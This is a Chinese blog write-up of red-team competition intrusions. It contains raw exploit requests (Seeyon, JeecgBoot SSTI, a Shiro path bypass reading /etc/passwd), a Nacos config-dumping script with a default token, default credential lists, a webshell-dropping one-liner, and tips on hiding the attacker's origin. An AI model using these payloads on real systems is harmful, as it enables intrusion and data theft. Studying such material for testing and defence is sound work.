外网打点-不靠0day组合拳拿下目标系统

案例素材来源于以往参加的攻防比赛和众测项目,旨在拓展外网打点的思路,图片已做去敏处理,如有雷同纯属巧合!

前期准备防溯源

临时VPS:https://aws.amazon.com/cn/campaigns/nc20241001/?trk=870dbb43-c500-4476-8a82-5ea9637bd7a7&sc_channel=psm

代理节点IP:https://www.feiyuip.com/

记得勾选掉线禁用网卡✔,防止网络切换过程中泄露真实出口IP

image-20241107115436931

从最基础的登录框突破

登录框作为hw出现场次最多的角色,也是最容易出洞的,下面介绍一些自己常用的测试方法

登录爆破小技巧

image-20231130171640751

像这种系统的爆破我们有两种解决方法:

  • 分析前端加密算法,写脚本模拟对密码进行加密
  • 固定密码为123456 000000 使用常见的用户名作为字典进行爆破

两种方法各有优劣,我更倾向于第二种,在比赛打点效率会更高,分析加密算法更适用于红队检测项目

image-20231201170955410

使用爆破的账号密码登入后台,便可以继续寻找后台上传点

看到图片类型这里限制上传的文件格式

image-20231201171410743

直接添加 aspx 文件格式类型

image-20231201171600249

成功getshell

image-20231201171755656

修改返回数据包参数进入后台

有些时候网站登录状态是根据前端判断的,这时候我们就可以直接修改返回包进行绕过

image-20231128172935703

前端判断登录逻辑根据返回包的ret值决定,当返回值为1则成功登录

image-20231128173007315

成功进入后台

image-20231128173130312

插件探测常见sql注入和log4j漏洞

sql注入插件推荐 https://github.com/smxiazi/xia_sql

基本原理是通过发送多个数据包,根据返回数据长度判断是否存在注入

image-20231128170800532

除了被动扫描以外,我们还可以通过手动添加单引号、双引号去查看返回包,若存在类似报错则可能存在sql注入

image-20231128164205795

image-20231205180145610

sqlmap一把梭

image-20231128173629321

log4j插件推荐 https://github.com/TheKingOfDuck/burpFakeIP

通过burp插件fuzz数据包的header头

image-20231128171023433

成功探测出登录框的log4j漏洞

但要注意的的是很多dnslog平台已被防火墙标黑,因此推荐使用ceye或者自搭建dnslog平台

image-20231108153844067

系统默认口令+后台1day漏洞利用

随着攻防比赛愈发频繁,公网能直接利用的前台漏洞越来越少,大多数都被批量扫描修复过了,但我们可以利用系统的默认口令结合1day进行利用

如若依存在默认口令 admin/admin123

image-20231128173913383

进入后台就可以通过计划任务或反序列化执行命令

image-20231128174037559

很多时候我们碰到OA系统,拿OA漏洞检测工具扫一下没漏洞就放弃了,其实像这种OA系统还可能会存在默认口令的问题

1
2
3
4
5
#默认口令
系统管理员:system/system
集团管理员(A8-v5集团版) group-admin/123456
单位管理员(A8-V5企业版) admin1/admin123456
审计管理员(所有版本) audit-admin/seeyon123456

image-20231108142849667

前台使用账号密码有时候不能登录,可发送下面数据包获取cookie

1
2
3
4
5
6
7
8
POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 71
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

UserAgentFrom=xx&login_username=audit-admin&login_password=seeyon123456

获取cookie之后就可以使用补丁较新的后台洞进行深入利用,这次使用copyfile这个后台洞

但实战后发现这个漏洞存在一些坑点,写入webshell时候报错了

1
2
3
4
5
6
7
8
9
10
POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager&rnd=111 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 70
Host: 192.168.91.17
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_321)
Accept-Encoding: gzip,deflate

arguments=%5B%22xxxxxx%22%5D&managerMethod=generateCssFileByCssStr

image-20231108144907706

本地开环境调试一下,fuzz发现是双引号所导致,可通过前面加\解决,还有其他的问题总结如下:

  • 写seeyon路径下会404,可以换写到root目录下

  • webshell的双引号需要前面加入反斜杠,即换成\"

  • 复制的文件名不能与之前的相同,否则会复制失败

  • //后需要进行换行

经过一首歌的时间,最终成功getshell

image-20231108144745332

同样,X微OA的默认账号密码有 sysadmin/1 sysadmin/Weaver@2001等等

image-20231108145625641

差点擦肩而过的shiro漏洞

被动扫描识别shiro指纹

使用afrogWappalyzer等指纹识别器有时候无法直接识别shiro框架

image-20231205182048928

抓包使用hae插件被动扫描识别网站特征

https://github.com/gh0stkey/HaE

image-20231205181820379

WAF拦截绕过

使用工具检测到key,但利用链爆破时候被拦截了,访问网站发现被拦截了

image-20231206155954218

换个ip继续冲,工具直接打不行,准备改用burp手动发包,但是问题又来了,挂着burp网站直接无法访问了

改用yakit能正常发包,猜测可能是burp特征被识别了,这时候想到最近看的github项目,决定尝试一下

https://github.com/sleeyax/burp-awesome-tls

未使用插件前,burp指纹特征被识别,抓包被拦截

image-20230926103809988

使用插件后正常抓包

image-20231206155620773

最终通过 OPTIONS 请求方式 + 静态资源 uri 路径 + 缩短payload长度成功绕过WAF

缩短payload长度可使用 4raIn师傅的项目 https://github.com/antiRookit/ShortPayload

成功getshell

image-20231206161014300

Yso重编译拿下某企业shiro系统

某个目标资产搜集到一个shiro框架系统,通过工具探测到存在默认密钥 kPH+bIxk5D2deZiIxcaaaA==

image-20231201152530229

存在JRMP利用方式,但JRMP执行失败

image-20231201152802850

可能原因:Yso自带的CB链版本和目标环境CB链版本不一致

image-20231201154231641

用1.8.3重新进行编译

image-20231201155359541

使用新的yso成功执行命令,另外防止其他队伍从目标得分还可以修改shiro默认key

image-20231201164320072

JS源代码抽丝剥茧从单点到逐个击破

fuzz未授权webpack接口

右键源代码——查看检索js——在后面添加.map

1
curl -O http://xx.xx.xx.xx/*.js.map

image-20230208155102503

之后会下载一个js.map,使用reverse-sourcemap进行还原

1
2
npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map

可寻找各种未授权的接口进行进一步的利用image-20230208155348698

使用脚本提取路径,提取后的结果可作为字典放到burp进行fuzz

image-20231204091531846

ueditor编辑器漏洞捡漏

查看源码,发现使用了ueditor组件

image-20231128165624453

或者全局进行检索 ueditor,发现ueditor路径

image-20231130170430351

构建表单上传 1.jpg?.aspx

invalidPattern.Replace 处通过正则替换后成为 1.jpg.aspx,后经过 GetExtension()得到扩展名 aspx 最后返回处理后的木马路径

image-20231128163158480

亚马逊S3存储桶接管

在js里翻找,发现网站背景图片来源于s3存储桶地址

image-20231130161308589

访问该地址发现为 NoSuchBucket ,表示可以接管

image-20231130161423070

亚马逊云注册相应的存储桶,填入相应的名称和区域即可,接管后再次访问会变为 UnauthorizedAccess

image-20231130161414612

从任意文件读取到部署war包getshell

image-20231111171659613

框架识别

根据返回的 rememberme 判断为shiro框架

image-20231111170059912

直接拿工具打一波发现找不到密钥,正常正常,毕竟现在公网的shiro经过多轮hw基本也绝迹了

image-20231114151122460

挖掘注释接口

问题不大,尝试从系统其他方面入手,从js里全局搜索 download upload这些字段,可能存在任意文件上传或读取漏洞

通常开发人员为了省事,可能会直接把前端功能代码注释掉,而不把相应后端接口删除,这时候就会给我们留下可乘之机

像这里我们通过检索download,发现一个被注释的下载接口,拼接路径尝试进行任意文件读取

image-20231111154938909

shiro权限绕过

拼接路径后访问发现会重定向到首页,这时候开始怀疑漏洞是否存在,但转念一想可能是权限问题

这时候想到shiro框架有个容易被忽略的点,那就是权限绕过

shiro权限绕过分析 https://xz.aliyun.com/t/12643

1
2
3
4
5
直接拼接会重定向到首页
resources/js/xxxxxx/downloadFile?url=/../../../../etc/passwd

/..;/可绕过
resources/js/xxxxxx/..;/../../downloadFile?url=/../../../../etc/passwd

通过/..;/成功读取主机文件

image-20231205180304934

能读取文件那肯定是不够的,我们目标是getshell,尝试读数据库密码,但扫描端口发现未对外开放

这时候查看扫描结果发现8080端口是开放的,直接读取/conf/tomcat-users.xml文件,获取tomcat的密码

image-20231111162242162

使用获取的账号密码登录,部署war包成功getshell

image-20231114153922042

image-20231114154106436

从旁站获取源码到任意文件上传

提取网站特征

  • 查看网站特定js、开发厂商信息,如 技术支持XXXX XXX公司
  • 通过fofa、hunter测绘平台寻找旁站

image-20231128155643703

旁站备份文件扫描

导出同cms站点列表,扫描旁站备份文件

image-20231116142355826

云盘搜索泄露源码

我只能说,凌风云是个好东西

image-20231128165334694

代码审计

  • 获取源码后我们优先挖掘任意文件上传这类能getshell的漏洞
  • 查看 web.xml 搜索.SaveAs upload查找可利用的点,像下面这个代码,我们通过检索发现两处疑似上传的接口

image-20231128155232535

跟进 PreviewImageUploadServlet.class

image-20231206170233562

定义保存文件的路径,默认为 /img/faces,如果请求中包含名为 path 的参数,则将保存路径设置为该参数的值

创建一个 MultipartRequestParser 实例,用于解析请求,并将结果存储在 PreviewImageInfo 对象中

1
PreviewImageInfo info = (PreviewImageInfo)parser.parse(request, "com.chinasofti.ordersys.servlets.common.PreviewImageInfo");

跟进 PreviewImageInfo.class ,没有进行过滤,因此我们可以构建表单直接上传

image-20231130154855014

image-20231130155948868

某访客系统从actuator到百万数据泄露

查看burp历史记录发现系统会向后端请求/gateway接⼝

image-20231201172834700

拼接路径进行目录扫描发现⼀堆actuator端点,使用最近新出的几个漏洞均没打成功

heapdump泄露

尝试从其他地方入手,发现存在 heapdump 泄露,使用工具查看泄露了些什么内容

https://github.com/whwlsfb/JDumpSpide

发现一些账号密码,但都是在内网无法直接利用

image-20231201173329253

继续从中寻找机会,把里面的接口和url拼接路径到Burp批量跑⼀下,这时候发现一个可以的注册接口,感觉有戏!

image-20231201174012959

创建用户获取token凭证

使用该接口创建用户

image-20231201174057840

但创建后的用户不能直接登录到系统,但可以通过新增的账密获取token凭证

image-20231201174330630

可结合接口文档使用token凭证调用接口查询,获取大量用户敏感数据

image-20231201174614299

从nacos任意用户注册到接管企业云

HVV中最爱的nacos,全身上下都是价值连城的宝贝,关键是好找!

指纹特征 HTTP Status 404 – Not Found 以及 8848端口

image-20231206161755852

直接访问404,拼接 nacos 路径可以看到目标系统

image-20231201175611372

漏洞检测

探测漏洞可使用下面脚本

https://github.com/Pizz33/nacos_vul

image-20231205173718614

nacos任意用户注册,关键在于登入后台查看配置文件里的账密信息

image-20231205174306564

image-20231206170430641

导出配置文件

但手动一个个查看配置文件很麻烦,可以使用脚本一键导出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import argparse
import requests
import json
import re
import urllib3
from concurrent.futures import ThreadPoolExecutor
import logging
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36'
}

def get_namespace(url, proxies):
url1 = url + 'v1/console/namespaces?search=accurate&dataId=&group=&pageNo=1&pageSize=100&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
response = requests.get(url1, proxies=proxies, verify=False, headers=headers, timeout=3)
data = json.loads(response.text)
namespaces = [item['namespace'] for item in data['data']]
if namespaces:
with open('success.txt', 'a') as f:
f.write(f"{url}\n")
return namespaces

def process_url(url, proxies):
print(f"Processing URL: {url}")
try:
namespaces = get_namespace(url, proxies)
print(f"Namespaces: {namespaces}")

for namespace in namespaces:
new_url = url + 'v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=100&tenant=' + namespace + '&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk3ODk4ODUzMH0.ZaS9-mLaHjHSNU_Pkct_H-hgmtB3qCkFEGqkr47PH2c'
print(f"Accessing URL: {new_url}")
response = requests.get(new_url, proxies=proxies, verify=False, headers=headers, timeout=5)
#print(response.text)

text = response.text.replace('\\r\\n', '\n').replace('\\n', '\n')

file_name = re.sub(r'\W+', '_', url) + '.yaml'
with open(file_name, 'a') as f:
f.write(text + '\n')
except Exception as e:
print(f"An error occurred while processing URL {url}: {e}")

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="格式为http://xx.xx.xx.xx/nacos/")
parser.add_argument("-p", "--proxy", help="the proxy to be used")
parser.add_argument("-f", "--file", help="the file containing URLs to be processed")
parser.add_argument("-t", "--threads", type=int, help="the number of threads to be used", default=5)
args = parser.parse_args()

proxies = {
"http": args.proxy,
"https": args.proxy,
}

with ThreadPoolExecutor(max_workers=args.threads) as executor:
if args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
executor.submit(process_url, url, proxies)
elif args.url:
process_url(args.url, proxies)
else:
print("Please provide a URL or a file containing URLs.")


if __name__ == "__main__":
main()

获取accesskeyidaccesskeysecrets后可使用工具接管云

推荐工具

https://github.com/teamssix/cf/releases

https://github.com/mrknow001/aliyun-accesskey-Tools/releases/tag/v1.3

image-20231205174631148

image-20231201175514157

获取到云数据库的账密,直接navicat连接

image-20231205175752012

image-20231205175845981

小程序弱口令爆破

通过微信小程序搜索目标单位,发现一处后勤管控平台资产

image-20241112190031206

shiro框架的,爆破一波key试试,好吧不成功

image-20241115154324658

像这样的系统一般以员工工号作为用户名,通过google语法搜出工号位数为5位数字(类似10001,10002)

固定密码为123456,祭出我的Top1000用户名进行爆破,成功爆破出三个弱口令

image-20241115153943943

这时候继续翻找功能点,毕竟弱口令才20分一个

从history中翻出这么一个接口,StaffListV2返回包提示没权限,尝试Fuzz相似接口

image-20241105182344754

尝试把 StaffListV2 修改为 StaffListV1、StaffListV3、StaffList

发现StaffList没做鉴权,能够获取所有员工的邮箱和工号信息

image-20250830162414689

接着通过小程序解包找到web后台管理地址:https://api.xxxx-admin.com

小程序解包项目:https://github.com/Ackites/KillWxapkg

image-20250817170821666

利用小程序爆破出的账号密码进行登录

image-20241128170524178

但由于我们爆破出的账号为普通员工账号,因此后台没有数据,所以我还需要去尝试接管管理员账号

image-20241128172251280

翻看history数据包,发现在修改密码功能有一个api接口返回了用户名pwd_hash

image-20250817165841898

通过传入userid可以越权查看他人的pwd_hash,刚好我们在StaffList接口能够获取所有员工的userid

接着分析pwd_hash,虽然无法直接解密,但返回包中包含了随机的salt值

image-20241128172046124

分析后发现 pwd_hash=(password md5–salt)sha256,根据此编写对应的碰撞脚本

1.使用密码和盐值生成基于 MD5 和 SHA-256 的哈希值。

2.从指定文件中读取密码列表,每行一个密码。

3.将密码文件中的每个密码与提取的盐值和哈希进行比对,找到匹配项

image-20241128171554010

成功碰撞出高权限账户密码 1qaz@WSX

image-20241128171419990

JS隐藏注册页面

在渗透测试过程中,要善于通过js挖掘隐藏接口,找到那些没有在前端页面明面暴露的遗留或测试接口

  • 可通过全局检索js代码,查找路由配置、接口注释或服务端代码中的注册逻辑
  • 通过修改常见的注册接口路径(如 /api/register/user/signup/auth/create)尝试访问,看看是否有响应。
  • 结合字典爆破(如使用 dirbuster、ffuf 等工具)扫描可能的接口路径

这里通过全局检索js代码 register字段

image-20250808142828356

正想拿小号接收个短信验证码,突然发现 /xxx/sendsmscode/接口泄露了验证码内容信息

image-20250808143329681

存在短信验证回显漏洞,意味着我们可以伪造任意手机号进行系统登录,但如何获得管理员的手机号呢?

这时候脑海里有三个思路

  • 社工手段获取目标管理员手机号(通过各种搜索引擎,打电话均无结果,放弃)
  • 手机号爆破(尝试爆破了几万次,成功次数为0,也放弃)
  • 最后决定进入后台挖掘越权漏洞

随意手机号注册系统,抓包发现数据包为加密字段

image-20241128165126443

通用思路,首先确认加密函数位置,设置条件断点(如访问 encrypt 字段或调用 AES-GCM 函数时触发)

然后观察函数参数,尤其是密钥和初始化向量(IV)参数,接着跟踪密钥的来源,看是否硬编码或通过密钥交换生成

这里全局搜索encrypt字段,发现使用的AES-GCM加密方式,加断点动态调试获取session key

image-20240827100335708

PS:这里的session key是一次性,刷新页面就会变化

使用AES-transfer 插件自动替换字段

image-20241128164326497

成功获取明文数据

image-20241128170009559

成功解密出数据后,开始寻找可能存在越权的接口

这里有小技巧: 可以通过搜索存在id参数的接口,配合hae插件泄露用户信息提示快速挖掘越权

最终通过 /xxx/xxx/Getinfo?pageIndex=1&pageSize=15&key=1&id=72 成功找到越权点获取管理员的手机号

image-20250808150027133

最后利用管理员的手机号–短信验证回显成功登录后台

image-20250830162036135

VUE未授权获取账号

通过jadx反编译app,找到管理系统域名地址

image.png

可以看到登录页面有数字验证码,

image-20250905162649653

抓包发送到验证码识别模块

image-20250905161954113

https://github.com/f0ng/captcha-killer-modified

image-20250905161905435

image-20250905163800168

最近发现一个针对vue很不错的浏览器插件: https://github.com/Ad1euDa1e/VueCrack

用于分析Vue框架网站的路由结构,并绕过路由守卫机制,从而发现站点的隐藏资产与未授权访问漏洞

通过vue泄露的未授权路由/admin/dashboard,右上角获取管理员的掩码手机号 155xxxx0168

image-20250903170028543

找到许可证功能点–文件上传,没有任何拦截很舒服

image-20250904164637581

getshell后发现为iis权限,权限太低只能浏览部分文件,很多命令无法执行

image-20250904165019287

看到进程里有sunloginclient.exe,尝试读向日葵配置文件

1
2
3
4
5
6
向日葵默认配置文件路径:
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版:C:\ProgramData\Oray\SunloginClient\config.ini
本机验证码参数:encry_pwd
本机识别码参数:fastcode(去掉开头字母)
sunlogincode:判断用户是否登录状态

读到了但是连接不上

image-20250905161552553

柳暗花明又一村,这时候通过 web.config 文件找到数据库账密

image-20250904165724436

指纹识别jeecg

image-20240517170241849

常规的目录扫描,弱口令均发现问题,正打算看下个站点,这时候通过 sweetpotato 插件发现目标系统框架为 jeecg

https://github.com/z2p/sweetPotato

image-20240517172619082

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,可以通过 SSTI 在应用端执行任意代码

1
2
3
4
5
6
7
8
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" }

发送数据包回显报错,提示缺少token

有时候开发人员会考虑兼容性,并未直接更新版本修复,可能仅增加鉴权把接口回收至后台

image-20240517165344090

那么我们该如何进入后台或获取有效token呢?爆破弱口令很明显行不通

这时候扫描目录发现站点存在swagger信息泄露

image-20250423104010957

通过 httptrace接口获取有效的x-access-token

image-20240517171157399

请求携带 x-access-token成功执行命令

image-20240517171902269

旁站备份文件泄露

搜集完一二级域名后未有太大进展,继续搜集三四级域名(Oneforall、Amass、SubdomainBrute)

凭借敏锐的嗅觉发现一个测试平台疑似有戏,右键查看源代码提取网站特征,body = ‘updatexxxxx’

image-20250812105249114

代码审计辅助:一些好用的静态代码扫描插件分享,使用体验下来挺不错

https://github.com/KimJun1010/inspector

https://github.com/Zjackky/CodeScan

https://github.com/SpringKill-team/SecurityInspector

这个系统使用的是gin框架,Gin 框架中的路由定义了客户端请求的 URL 和处理该请求的函数之间的映射关系,Gin框架的路由可以找GET、POST等关键字。

如下图,我们可以看到/giro/stats/ 路由对应的请求方法为POST,函数处理逻辑则在stats.HandleUrl函数中

image-20250817171733831

sql注入大多存在于fmt.printf中使用%s拼接导致

1
2
query := fmt.printf("SELECT * FROM users WHERE name='%s'", name)
rows, err := db.Query(query)

可以通过%s进行全局搜索,但跟了一波并未发现用户侧输入可控的有效注入点

image-20250817172102132

这个时候发现其引入了yaegi第三方库 https://github.com/traefik/yaegi

yaegi 库中常用于插件系统、动态脚本执行等场景,但同时i.Eval 方法支持动态执行用户提供的 Go 代码会导致安全问题

image-20240919142730622

这里发现没有对用户输入做安全控制,导致存在命令注入的问题

image-20240919142844531

根据路由定位到对应功能点,但直接访问会重定向到首页

image-20250817172617540

这时候发现其写法为 context.Request.URL.Path

我们可以将请求的Path进行URL编码绕过鉴权,由于 request.url.path 特性仍能正确匹配到路由

image-20250817172817697

发送payload,成功执行命令回显dnslog

image-20240919141358954

image-20240919112218047

asp调试信息泄漏

扫描目录发现asp.net调试信息泄漏,泄漏Cookie信息:/Trace.axd?id=0,替换Cookie进⼊后台

image-20250905150708022

使用burp自带替换cookie进入后台,在配置文件位置抓包找到FTP账户密码

image-20250905151040925

正常ftp服务能直接上传webshell,但这个环境不行,可能是由于设置问题只允许文件读取和下载

于是把根目录下的www.zip打包到本地进行代码审计

image-20250812104530582

上传压缩包位置仅做了zip后缀过滤,继续跟UploadPackage往下看

image-20250830153631271

发现默认上传路径为 /App_Data/BaseManage/Applications/,但该路径前台无法访问

image-20250830153843226

继续翻找发现copyfile的方法,可以通过传入json文件,把压缩包解压到指定的路径 "/App_Data/BaseManage/Applications/" -- appkey

image-20250830154003720

因此我们可以构造 app.json ,一同打包到压缩包里

1
2
3
4
5
6
7
8
9
{ 

"AppName": "111",
"AppKey": "../../../Test",
"Version": "0.0.0.1",
"Author": "222",
"Roles": "Administrators",
"Description": "333"
}

接着选择压缩包上传–安装

image-20250830153353231

getshell拿下该服务器权限,拿下后发现靶标系统也在该服务器下,本打算提交报告收工

这时候裁判方要求证明能够登录web系统,好吧那只能再加会班

image-20250830164730349

开始翻找数据库配置⽂件 ./xxx/xxx/product/application.ini,找到 root/ENC(2RllAsMDeSP–MsRbM0CdSS7xxxxxx7XeyVHQNGUBE0XU=)

这里密码为加密字符串,不能直接使用,继续定位找到加密逻辑代码

image-20250817174642853

分析后发现使用AES-128-CBC 加密,key会使⽤sha256循环hash 100次⽣成最终的key

根据加密逻辑编写脚本,成功解出数据库密码

image-20241115162946784

1
2
mysql -u root -p KFMI5xxxxxVOCC
select * from xxxx.v3_user limit 0,100;

密码为 BCrypt 算法生成,不可逆只能替换

image-20241115163334039

例如,一个 BCrypt 哈希值的格式如下:

1
$2a$10$QkBrYzvFkxslEu.NR4K6jOScKpiEqeptALHRoVkj5hoMFm9TqCm8u

其中:

  • $2a$:表示 BCrypt 算法的版本。
  • 10:表示工作因子为 10,工作因子越大,安全性越高。
  • QkBrYzvFkxslEu.NR4K6jO:是随机生成的盐值。
  • ScKpiEqeptALHRoVkj5hoMFm9TqCm8u:是加密后的密码哈希值。
  • https://github.com/gchq/CyberChef

image-20241115170330370

重新生成一个替换即可 (记得保留原来的值后面替换回去),成功拿下靶标

image-20250905160146809

网页导航

image-20250830165334810

通过扫描旁站端口发现其中6666端口存在目录遍历

image-20250902185336303

可通过 UploadSourceUploadDestination 达到模拟远程下载webshell到服务器的效果

image-20250905145618932

找到前台页面,右键查看源代码,随便找一个静态资源chunk-000a3681.70cde055.css,一般静态资源目录下前台可以直接访问

1
find /|grep chunk-000a3681.70cde055.css|while read f;do sh -c 'echo xxx | base64 -d' >$(dirname $f)/test.jsp 

找到前台路径直接下载webshell,哥斯拉直接连接

image-20250905152925393

接着fscan扫描内网,发现存在docker未授权

image-20250904170957119

任意选择一个节点进行验证

image-20250904171224812

云管平台 里,数据库账号和密码往往涉及多层组件,常见的地方主要有:

  • 应用配置文件

    • application.properties / appsettings.json / web.config / config.yaml
    • 很多平台把数据库连接字符串(含账密)直接写在这里。
  • Docker Compose / Kubernetes 配置

    • docker-compose.ymlk8s deployment.yaml 中可能写死账号密码。
  • 云管平台可能用环境变量存储数据库连接字符串

    1
    2
    DB_USER=admin
    DB_PASS=SupXXXXXXX123

    这里恰恰密码就存放在环境变量里

连接数据库,定位web系统对应的表,新增管理员用户 adminx

image-20250904213537321

成功登录h3c云管平台,可管控1000–云主机

image-20250904170843258